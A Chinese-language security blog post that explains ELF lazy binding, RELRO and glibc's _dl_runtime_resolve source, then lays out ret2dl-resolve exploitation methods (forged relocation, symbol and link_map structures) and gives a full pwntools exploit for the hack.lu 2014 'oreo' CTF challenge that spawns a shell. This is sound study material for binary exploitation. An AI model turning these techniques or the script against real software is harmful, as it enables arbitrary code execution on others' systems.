Lazy Binding & Ret2_dl_runtime_resolve

注意
本文最后更新于 2024-02-12,文中内容可能已过时。

前言

今天偶然发现很久以前写的一篇文章,高级 ROP ret2_dl_runtime_resolve,发现似乎存在一些低级错误,而且在格式和描述上都不够清晰,于是即兴的结合源码来了一次对延迟绑定机制的分析和学习,写完后发现更新的内容过多,于是重新开了一篇文章来记录。同时因为在早期学习的时候,曾在文章中引用了大量文章的内容,但当时未做详细的记录,所以本文的参考资料部分可能会有遗漏,如果存在这样的情况,请务必告诉我!

延迟绑定

延迟绑定的目的

在动态链接的情况下,程序的模块直接存在大量的函数引用,所以在程序执行之前如果对所有将会用到的函数引用都进行动态链接会耗费不少的时间。例如程序中的一些错误处理函数或者某些特殊的功能(例如用于处理 canary 比对不统一的 __stack_chk_fail 函数)可能调用很少,甚至可能不会被用到,如果一开始就把所有的函数都链接完成实际上是一种浪费。所以 ELF 采用了一种延迟绑定(Lazy Binding)的做法,在函数第一次被用到才进行绑定。所以在程序开始执行时,模块间的函数调用都没有进行绑定,这样的做法可以大大的加快程序的启动速度

延迟绑定和 RELRO

这样的机制在某些程序中可能可以大大的加快启动速度,但是对于又一些特殊的情况可能不进行延迟绑定是最好的。

延迟绑定的机制注定了 GOT 表必须是可写的一段空间(否则没法更新地址),但是如果 GOT 表可写则意味着攻击者可以利用 GOT 表来劫持程序流程(可以通过 BSS 段溢出到 GOT 表上、任意地址写等手法),这不够安全。面临这些问题,编译器给出了他的缓解方案。

在编译器中的选项表示为 RELRO (Relocation Read Only),在不同的 RELRO 模式下,延迟绑定、GOT 表是否只读都存在区别,这里整理其模式和对应编译选项如下表。

名称编译选项安全保护
NO RELRO-z norelro无保护
Partial RELRO-z relro -z lazy强制 GOT 位于 BSS 段之前,防止 BSS 段缓冲区溢出到 GOT 表上;.init_array .fini_array .jcr .dynamic 这些段在被动态加载器初始化后只读
FULL RELRO-z relro -z nowPartial RELRO 具有的功能;不进行延迟绑定;GOT 表只读

在网络上我们可以看到大量的文章说到 GCC 默认的配置是 Partial RELRO,但是在我实际测试中,在我 Ubuntu 20.04 上运行的 gcc 9.4.0 编译的一个程序默认开启了 FULL RELRO,而在我 Ubuntu 16.04 上运行的 gcc 5.5.0 版本上默认 Partial RELRO。

GCC 6 引入了 configure-time 选项 --enable-default-pie:启用该选项的 GCC 预设 -pie-fPIE。现在,很多 Linux 发行版都启用了该选项作为基础的 security hardening。

简单的延迟绑定调用过程

  1. 程序要调用一个动态链接的函数,就回去调用这个函数对应的 PLT 位置,PLT 位置的代码是 JMP GOT,也就是直接跳转到了 GOT 所记录的函数地址
  2. 如果这个函数是第一次调用,由于延迟绑定的原因,在调用这个函数之前,程序还无法得知这个将要调用的函数地址,此时 GOT 表所记录的地址是程序中用于动态绑定生成的辅助函数,他会帮助程序跳转去执行**_dl_runtime_resolve**,并计算得出目标函数地址
  3. 计算出来的地址将会填充会到 GOT 表中,并且去执行目标函数
  4. 同时在下次调用时,再次 JMP GOT 就会直接去执行 GOT 表中所储存的函数真实地址,而不会再次进行符号解析。

辅助函数

而我们如果要解析这个过程,那首先就要从程序自身的辅助函数出发,去研究程序做了什么。

下面是辅助函数的具体代码,part1、part2 是我自己进行的重命名,这两个函数都是为了延迟绑定而自动生成的辅助函数。

part1 的地址会在 got 表的初始化阶段被填充进 got 表中,对于每一个需要延迟绑定的函数都会生成一个这样的辅助函数。

part2 是后续调用 _dl_runtime_resolve 的过程,由于所有函数的这部分内容都一致,所以这个函数被单独抽离出来,在 part1 中被调用,其中的 exe_link_map 和 _dl_runtime_resolve_addr 都是在程序加载过程中被初始化赋值的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
.plt:0000000000001060 part1           proc near
.plt:0000000000001060                 endbr64
.plt:0000000000001064                 push    3               ; 偏移
.plt:0000000000001069                 bnd jmp part2
.plt:0000000000001069 part1           endp
.plt:0000000000001069

.plt:0000000000001020 part2           proc near               ; CODE XREF: sub_1030+9↓j
.plt:0000000000001020                                         ; sub_1040+9↓j ...
.plt:0000000000001020 ; __unwind {
.plt:0000000000001020                 push    cs:exe_link_map
.plt:0000000000001026                 bnd jmp cs:_dl_runtime_resolve_addr
.plt:0000000000001026 part2           endp

这里不难发现将要调用 _dl_runtime_resolve 的时候,辅助函数会传入两个参数进去(push 顺序和参数顺序相反),第一个参数对应的是 link_map 的地址指针,第二个参数对应的是函数在 .rel.plt 中的偏移,这两个参数就用于帮助**_dl_runtime_resolve** 得知具体要解析的是哪个函数地址。

DYNAMIC

link_map 中 l_info 会指向 DYNAMIC,DYNAMIC 结构与延迟绑定息息相关。

DYNAMIC 结构定义

DYNAMIC 的内容主要是一个 ElfW(Dyn) 数组,在初始化过程中会绑定到 link_map->l_info 数组指针上

其中的 ElfW(Dyn) 是一个宏定义,会根据系统位数来动态的选择 ELF32_Dyn 或者 ELF64_Dyn,为了方便阐述,之后会用 ElfW(Dyn) 来表示这个会随着系统位数而变化的结构体。

image-20220430174945815

1
2
3
4
5
/* We use this macro to refer to ELF types independent of the native wordsize.
   `ElfW(TYPE)' is used in place of `Elf32_TYPE' or `Elf64_TYPE'.  */
#define ElfW(type)	_ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t)	_ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t)	e##w##t

这个功能主要是通过 define 中的 ## 连接来实现的

Elf32_Dyn 和 Elf64_Dyn 结构

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
typedef struct
{
  Elf32_Sword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf32_Word d_val;			/* Integer value */
      Elf32_Addr d_ptr;			/* Address value */
    } d_un;
} Elf32_Dyn;

typedef struct
{
  Elf64_Sxword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;		/* Integer value */
      Elf64_Addr d_ptr;			/* Address value */
    } d_un;
} Elf64_Dyn;

ElfW(Dyn) 结构由一个类型值 d_tag 加上一个附加的数值或指针 d_un,对于不同的类型,后面附加的数值或者指针有着不同的含义。

其中 类型值 d_tag 与 link_map->l_info 的下标相对应,在加载器中想要对 DYNAMIC 结构进行访问,就可以利用 link_map->l_info[d_tag] 的方式来得到 ElfW(Dyn) 结构指针,这里我们列举几个比较常见的类型值。

d_tagd_un
DT_INIT在早期版本中,初始化代码地址
DT_FINI在早期版本中,结束代码地址
DT_INIT_ARRAY初始化代码数组地址,在 DT_INIT 前调用
DT_INIT_ARRAYSZ初始化代码数组大小
DT_FINI_ARRAY结束代码数组地址,在 DT_FINI 前调用
DT_FINI_ARRAYSZ结束代码数组大小
DT_STRTAB动态链接字符串表的地址
DT_SYMTAB动态链接符号表的地址
DT_STRSZ动态链接字符串表的大小
DT_SYMENT动态链接符号表的大小
DT_DEBUG用于调试,其内容未针对 ABI 指定
DT_PLTGOTGOT 表的地址
DT_PLTRELSZ与过程连接表关联的 PLT 的总大小(以字节为单位)
DT_PLTRELPLT 所引用的重定位条目的类型
DT_JMPRELELF JMPREL Relocation Table 的地址
DT_RELAELF RELA Relocation Table 的地址
DT_RELASZ重定位表的总大小(以字节为单位)
DT_RELAENT重定位条目的大小(以字节为单位)

DYNAMIC 结构内容

这个结构中有三项内容需要我们特别了解的

名称段名
DT_STRTAB.dynstr
DT_SYMTAB.dynsym
DT_JMPREL.rel.plt

DYNAMIC.png

DT_STRTAB(ELF String Table)

这里储存的就是所有导出函数的名称

  • 这个表开头第一字节是 \x00,可以理解成是一个空的字符串
  • 每一个名字结尾还有个 \x00,标准的 C 语言字符串结构。

ELF

DT_SYMTAB(ELF Symbol Table)

ELF

这里放的是一个结构体 ElfW(Sym)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
typedef struct
{
  Elf32_Word	st_name;		/* Symbol name (string tbl index) */
  Elf32_Addr	st_value;		/* Symbol value */
  Elf32_Word	st_size;		/* Symbol size */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char	st_other;		/* Symbol visibility */
  Elf32_Section	st_shndx;		/* Section index */
} Elf32_Sym;

typedef struct
{
  Elf64_Word	st_name;		/* Symbol name (string tbl index) */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char st_other;		/* Symbol visibility */
  Elf64_Section	st_shndx;		/* Section index */
  Elf64_Addr	st_value;		/* Symbol value */
  Elf64_Xword	st_size;		/* Symbol size */
} Elf64_Sym;

st_name:符号名称,距离字符串表起始位置的偏移

  • STT_OBJECT 表示符号关联到一个数据对象,如变量、数组或指针
  • STT_FUNC 表示符号关联到一个函数
  • STT_NOTYPE 表示符号类型未指定,用于未定义引用

st_info:类型和绑定属性(低 4 位储存 ST_BIND,高 4 位储存 ST_TYPE)

  • ST_BIND

    • STB_LOCAL:0,Local symbol
    • STB_GLOBAL:1,Global symbol
    • STB_WEAK:2,Weak symbol
  • ST_TYPE

    • STT_NOTYPE:0,符号类型未指定
    • STT_OBJECT:1,数据对象,比如变量、数组等
    • STT_FUNC:2,函数或其它可执行代码
    • STT_SECTION:3,表示一个 section,主要用于重定位,通常具有 STB_LOCAL 属性
    • STT_FILE:4,文件符号,具有 STB_LOCAL 属性,st_shndx 的值为 SHN_ABS。在 ELF 文件的符号表中位于其他 STB_LOCAL 符号的前面

st_shndx:相关节的索引,符号将绑定到该节

  • SHN_ABS:0xfff1,指定符号是绝对值,不因重定位而改变
  • SHN_UNDEF:0,标识未定义符号

st_value:符号的值

st_size:符号的长度,如一个指针的长度或 struct 对象中包含的字节数。

要注意的是

  1. ST_NAME 放的不是字符串指针,而是在字符串指针距离 STRTAB 起始位置的偏移
  2. ST_INFO 的一字节被分成两部分使用

DT_JMPREL(ELF JMPREL Relocation Table)

JMPREL.png 这也是个数据结构,不过简单多了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* Relocation table entry without addend (in section of type SHT_REL).  */
typedef struct
{
  Elf32_Addr	r_offset;		/* Address */
  Elf32_Word	r_info;			/* Relocation type and symbol index */
} Elf32_Rel;

/* I have seen two different definitions of the Elf64_Rel and
   Elf64_Rela structures, so we'll leave them out until Novell (or
   whoever) gets their act together.  */
/* The following, at least, is used on Sparc v9, MIPS, and Alpha.  */

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
} Elf64_Rel;

/* Relocation table entry with addend (in section of type SHT_RELA).  */

typedef struct
{
  Elf32_Addr	r_offset;		/* Address */
  Elf32_Word	r_info;			/* Relocation type and symbol index */
  Elf32_Sword	r_addend;		/* Addend */
} Elf32_Rela;

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
  Elf64_Sxword	r_addend;		/* Addend */
} Elf64_Rela;

我来简单说明一下:

  • r_offset:符号指针,如果是用于延迟绑定的函数符号,这里指向 GOT 表的指针,用于解析完毕后把地址写回。
  • r_info:要把图中我选中的黄色部分去掉,也就是 (val) » 32 的值(在 32 位下是 (val) » 8),这个值是这个导入的函数在 DT_SYMTAB 中的下标,这个 0x7 结尾是导入函数规定的。
1
2
3
4
5
6
7
8
9
/* How to extract and insert information held in the r_info field.  */

#define ELF32_R_SYM(val)		((val) >> 8)
#define ELF32_R_TYPE(val)		((val) & 0xff)
#define ELF32_R_INFO(sym, type)		(((sym) << 8) + ((type) & 0xff))

#define ELF64_R_SYM(i)			((i) >> 32)
#define ELF64_R_TYPE(i)			((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type)		((((Elf64_Xword) (sym)) << 32) + (type))

_dl_runtime_resolve

其中 struct link_map *l 作为第一个参数,偏移值 ElfW(Word) reloc_arg 作为第二个参数

1
2
3
4
5
6
7
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)

用 link_map 中的 l_info 访问 DYNAMIC,取出得到 DT_STRTAB, DT_SYMTAB,DT_PLTGOT 的指针,分别记做 symtab,strtab,pltgot

1
2
3
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);

DT_JMPREL + reloc_arg (第二个参数),求出当前函数的在重定位表项 DT_JMPREL 中 Elf32_Rel 具体位置(指针),记作 reloc

1
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset (pltgot, reloc_arg));

reloc_offset 函数实际上直接返回了第二个参数

1
2
3
4
5
static inline uintptr_t
reloc_offset (uintptr_t plt0, uintptr_t pltn)
{
  return pltn;
}

使用 reloc->r_info » 32(8) 作为 symtab 的下标,求出当前函数在符号表项 (DT_SYMTAB) 中 ElfW(Sym) 的具体位置(指针),记作 sym

1
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

ELFW(R_SYM) 宏定义根据位数不同有不同的解析

1
2
#define ELF32_R_SYM(val)		((val) >> 8)
#define ELF64_R_SYM(i)			((i) >> 32)

strtab + sym->st_name,得到符号名字符串指针,调用 _dl_lookup_symbol_x 在动态链接库查找这个字符串对应的函数的地址,并且在函数内部把结果给回到 sym 指针中。

1
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

修正结果(估计是解决兼容性问题)

1
2
3
4
5
6
/* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));
/* And now perhaps the relocation addend.  */
value = elf_machine_plt_value (l, reloc, value);

把结果填回到 reloc_addr,这是先前计算的此函数对应的 got 表地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
...
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

/* Fixup a PLT entry to bounce directly to the function at VALUE.  */

static inline ElfW(Addr)
elf_machine_fixup_plt (struct link_map *map, lookup_t t,
		       const ElfW(Sym) *refsym, const ElfW(Sym) *sym,
		       const ElfW(Rela) *reloc,
		       ElfW(Addr) *reloc_addr, ElfW(Addr) value)
{
  return *reloc_addr = value;
}

利用方法

1.(No RELRO)直接改写 .dynstr

由于没有开启只读,所以我们可以直接对 .dynstr 进行修改,使得 .dynstr 中对应函数字符串内容为我们想要的内容。 比如修改 free 为 system,这样 free(buf)的时候,如果 buf 的内容是 “/bin/sh”, 那么就实现了 system("/bin/sh")

2.伪造调用时的偏移(第二个参数)

我们知道 _dl_runtime_resolve 中利用我们这个偏移来计算出 rel 的位置,而正好这个偏移是没有考虑到是否越界访问的,所以可以实现让其指向我们伪造的 ElfW(Rela) 结构体,伪造好以后可以手动调用 _dl_runtime_resolve 达到修改的目的,两个参数(link_map, reloc_arg)。 这里要注意,虽然我们说的第一个参数,第二个参数,但是实际上,第二个参数比第一个参数先 push。所以说,即使我们虽然不知道 link_map 的地址(因为使用 ret2dl 大概率是因为没有可以用于泄露的函数),但是我们可以利用辅助函数 part2 中的 push link_map 这段 gadget 来执行调用。

具体可以考虑以下这几个步骤:

  1. 伪造 reloc_arg,使得 reloc_arg 加上 DT_JMPREL 的地址指向可控的地址,在该地址可伪造恶意的 ElfW(Rela) 结构体。
  2. 伪造 ElfW(Rela) 结构体中的 r_offset 指向某一可写地址,最终函数地址会写入该地址处(这个地址本来是存放 got 表地址),伪造 ELFW(R_TYPE)ELF_MACHINE_JMP_SLOT (0x7) 以绕过类型验证,使得 ELFW(R_SYM) 加上 DT_SYMTAB 地址指向可控的地址,并在该地址伪造符号表结构体 ElfW(Sym)

ELFW(R_TYPE) 和 ELFW(R_SYM) 宏

1
2
3
4
#define ELF32_R_TYPE(val)		((val) & 0xff)
#define ELF64_R_TYPE(i)			((i) & 0xffffffff)
#define ELF32_R_SYM(val)		((val) >> 8)
#define ELF64_R_SYM(i)			((i) >> 32)

位于 _dl_fixup 中的 reloc->r_info 断言

1
2
/* Sanity check that we're really looking at a PLT relocation.  */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  1. 伪造 ElfW(Sym) 结构体中的 st_name,使得 DT_STRTAB 的地址加上该值指向可控地址,并在该地址处写入特定函数的函数名,例如 system
  2. 最终系统通过函数名匹配,定位到特定函数地址,获取该地址并写入到伪造的 r_offset 中,实现了目标函数地址的获取。

这里可能会出现一个问题是,在以下代码中会用到我们伪造的内容

1
2
3
4
5
6
7
8
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
    const ElfW(Half)* vernum = (const void*)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
        version = NULL;
}

这里按照上文所说的, ELFW(R_SYM) (reloc->r_info) 会被我们伪造成为能够使得 ELFW(R_SYM) 加上 DT_SYMTAB 地址指向可控的地址。但是在 DT_STRTAB 中的用此作为下标是通过单字节增加的(字符差值),而在 DT_VERSYM 中一个字节有两个字节,用此作为下标是通过双字节增加的,这样会导致 DT_VERSYM + offset * 2 会出现访问内存错误。

但是相对来说,在 32 位中这样的问题相对较少一些,通常问题出现在 version = &l->l_versions[ndx] 访问内存错误,因此伪造的 reloc->r_info ,最好能够使得 ndx 为 0,即 vernum[reloc->r_info] 为 0。

所以可以考虑到一种伪造方法是使得 l->l_info[VERSYMIDX(DT_VERSYM)] == NULL,但是这个地址存在于 ld.so 中,难以修改到,所以用此方法的意义不大。

了解过程后,可以考虑使用 roputils 来解决。

i386:https://github.com/inaz2/roputils/blob/master/examples/dl-resolve-i386.py

x86-64: https://github.com/inaz2/roputils/blob/master/examples/dl-resolve-x86-64.py

如果我们可控的范围很大,那么我们可以自己来伪造一个 link_map 结构体,并且利用以下代码中的另一个分支

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Look up the target symbol.  If the normal lookup rules are not
	   used don't look in the global scope.  */
if (__builtin_expect(ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
    ...
}
else
{
    /* We already found the symbol.  The module (and therefore its load
	   address) is also known.  */
    value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
    result = l;
}
/* And now perhaps the relocation addend.  */
value = elf_machine_plt_value(l, reloc, value);

if (sym != NULL
    && __builtin_expect(ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));

/* Finally, fix up the plt itself.  */
if (__glibc_unlikely(GLRO(dl_bind_not)))
    return value;

return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);

我们控制 sym->st_other 使其不为 0,此时会进入另一个分支,这个分支假定已经找到了符号信息,所以会直接计算返回 SYMBOL_ADDRESS(l, sym, true)

1
2
3
4
5
6
7
8
#define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)

/* Calculate the address of symbol REF using the base address from map MAP,
   if non-NULL.  Don't check for NULL map if MAP_SET is TRUE.  */
#define SYMBOL_ADDRESS(map, ref, map_set)				\
  ((ref) == NULL ? 0							\
   : (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0			\
      : LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value)

这个值是一个宏展开,解释为

  • (ref)->st_shndx == SHN_ABS 时返回 0
  • 否则返回 l_addr + sym->st_value

这时候很自然的可以想到,我们可以使得 sym->st_value 指向程序中的某一个具有 libc 地址的函数(例如 got 表上已被解析的位置(__libc_start_main),或者 DT_DEBUG 上的 libc 指针),并且构造其与 l_addr 相加后的值能够指向例如 system 这样的函数位置。

接下来整理一下思路,看一下我们具体需要怎么构造,这里假定最终得到的地址要写入在 link_map + 0x30 中(任何一个可写地址即可),且选取的 libc 地址指针为 got 表上的 __libc_start_main

  1. 构造 l->l_addrsystem__libc_start_main 的偏移
  2. 控制 l_info[DT_JMPREL(23)] 指向 link_map + 0x80 - 8,同时在 link_map + 0x80 的位置填入 link_map + 0x30 - reloc_offset 的值,在 link_map + 0x30 构造一个 Elf64_Rela 结构体,该结构体 r_offset 的位置(+0)填入 link_map + 0x30 - l->l_addrr_info 的位置(+8)填入 0x7
  3. 构造 l_info[DT_SYMTAB(6)] 指向 link_map + 0x70,同时在 link_map + 0x78 的位置填入 __libc_start_main_got - 8

构造原理

构造 1 是因为:最终写入的函数值是 l_addr + sym->st_valuesym->st_value 是不可控的 libc 地址,那么我们只能控制 l_addr 使其成为目标地址距离固定的 libc 地址的偏移。

构造 2 是因为:最终写入函数地址位置是 l->l_addr + reloc->r_offset ,所以如果我们想要最终写入在 link_map + 0x30 中,那么 r_offset 就应该为 目标地址(link_map + 0x30) - l->l_addr

sym 是通过 &symtab[ELFW(R_SYM) (reloc->r_info)] 得到的,我们让其 ELFW(R_SYM) (reloc->r_info) 下标为 0,方便后续计算,这里再结合 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT) 检测,所以 r_info 要填入 0x7。

构造 3 是因为l_info[0x6] 实际上是 link_map 中 指向 DT_SYMTAB(6) 的指针,同时我们在 link_map + 0x70 伪造一个 Elf64_Dyn 结构体

Elf64_Dynd_ptrlink_map + 0x78 ,指向了 __libc_start_main_got - 8 ,即 symtab 指向了 __libc_start_main_got - 8

Elf64_Sym 结构中的 st_value 成员偏移为 8,结合前面减去的 8,这里的 st_value 正好指向了 __libc_start_main_got

Elf64_Sym 结构中的 st_shndx 成员偏移为 6,结合相对偏移进行计算,这里的 st_other 正好指向了 __libc_start_main_got - 2,这个位置仍然函数在 got 表中,通常能够满足 sym->st_shndx != SHN_ABS 的条件的

Elf64_Sym 结构中的 st_other 成员偏移为 5,结合相对偏移进行计算,这里的 st_other 正好指向了 __libc_start_main_got - 3,这个位置仍然函数在 got 表中,通常不为空,因此 sym->st_other 不为 0 的条件也是成立的。

利用过程

覆盖 link_map 地址到我们伪造的 link_map 结构体,再调用任意一个先前没有被调用过的函数来触发 ret2dl_resolve 攻击,此时函数地址的最终写入位置在哪里都无所谓,因为在 _dl_runtime_resolve 的过程结束后就会去调用。

4.部分覆盖 l_addr

由于在最后写入的过程中使用了 l->l_addr + reloc->r_offset 作为最后写入的位置,首先要知道 l->l_addr 地址一般末 12 位都为 0,如果我们可以修改这个结构的末位 1 个字节,那就可以让 _dl_runtime_resolve 计算出的函数地址,写回到距离预期位置(此函数对应的 got 表)最多偏移 0xFF 的地址上。

这里不难想到,我们可以用于修改 got 表上的其它函数,例如,先预先布置好 l->l_addr,再去首次调用 printf 函数,此时在 _dl_runtime_resolve 过程中就可以把 free 函数的 got 表地址写成 printf 函数,由此就可以进行格式化字符串漏洞攻击。

例题

结合方法 1:hack.lu CTF 2014-OREO

在 NO RELRO 的情况下,修改.dynstr 指针来 ret2_dl_runtime_resolve。 我个人认为这个构造方法挺难的。我整了三四个小时才成功搞定这道题的 ret2_dl_runtime_resolve 的做法。 我这里的方法大概可以描述如下

  1. 修改.dynstr 指针
  2. 伪造 system 字符串作为 fake .dynstr
  3. 修改 [email protected] 为 free@plt + 6,也就是没 dl_runtime_resolve 时候的状态,只有在这个状态下才会执行 dl_runtime_resolve 去解析,否则会直接执行 free。但是覆盖的时候要注意到结尾的\x0A 会覆盖到 fgets 的 got 表,而且 fgets 在接下来会被调用到,所以还要 leak fgets 的内容,并且覆盖成正确的内容,这时候\x0A 会覆盖到一个不会执行到的地方,就没关系了。
  4. free,这时候 free 传入的地址是前面构造 system 的位置和另一个堆,所以这里选择构造 sh\x00system\x00,并且把 fake .dynstr 往后移动三位。如果这里直接 add 再 free 的话,但是这时候 add 会报错,原因是之前构造指向的所以这个方案不可以。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from LibcSearcher import *

#r = process('./oreo')
r = remote('wildwildweb.fluxfingers.net', 1414)
elf = ELF('./oreo')

def choice(idx):
	r.sendline(str(idx))

def add_data(data):
	choice(1)
	r.sendline('')
	r.sendline(data)

def add(next_ptr):
	choice(1)
	r.sendline('a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
	r.sendline('sh\x00')

def show():
	choice(2)

def free():
	choice(3)

def add_msg(msg):
	choice(4)
	r.sendline(msg)

def show_stats():
	choice(5)

for i in range(0x40 - 0x1):
	add(0)
order_msg_ptr = 0x0804A2A8
order_msg_chunk = 0x0804A2C0
dynstr_addr = 0x0804A17C
add_msg(p32(0) + p32(0x41) + '\x00' * 0x38 + p32(0x18)) #nextChunk == \x00 && nextsize = 0x18
add(order_msg_chunk + 0x8) #order_msg_chunk + 0x8 == chunk content
free() #free fake chunk

#UAF:change fake chunk fd = order_msg_ptr struct
add_msg(p32(0) + p32(0x41) + p32(order_msg_ptr - 0x8) + '\x00' * 0x34 + p32(0x18)) 

add_data('') #get fake chunk

#change order_ptr to dynstr_addr & UAF2:change fake chunk fd = order_msg_ptr_struct
add_data(p32(dynstr_addr) + 'a' * 0x14 + p32(0) + p32(0x41) + p32(order_msg_ptr - 0x8)) 

#0x8 is fake chunk struct; 0x3 is sh\x00; -0x82 is offset of 'free' in .dynstr; other hex is copy from ida
add_msg(p32(0x5) + p32(order_msg_chunk + 0x8 + 0x3 - 0x82) + p32(0x6) + p32(0x80481F8))

add_data('sh\x00system\x00') #get fake chunk
add_data(p32(elf.got['free'])) #change order_ptr to [email protected]
show_stats() #leak fgets@plt for next change
r.recvuntil('\xf7')
fgets_addr = u32(r.recvuntil('\xf7')[-4:])
#change [email protected] => free@plt + 6; [email protected] is not change
add_msg(p32(elf.plt['free'] + 6) + p32(fgets_addr))

#system(unknown); system(sh\x00system\x00) => system(sh)
free()

r.interactive()

结合方法 2:keer’s bug

(借助 roputils)https://blog.wjhwjhn.com/archives/73/

结合方法 3:hitcon2015—blinkroot

详见参考资料 3

结合方法 4:Nightmare

详见参考资料 4

参考资料

1 ret2dl-resolve 详解

2 Dynamic Linking

3 ret2dl_resolve 解析

4 Nightmare: One Byte to ROP // Deep Dive Edition

0%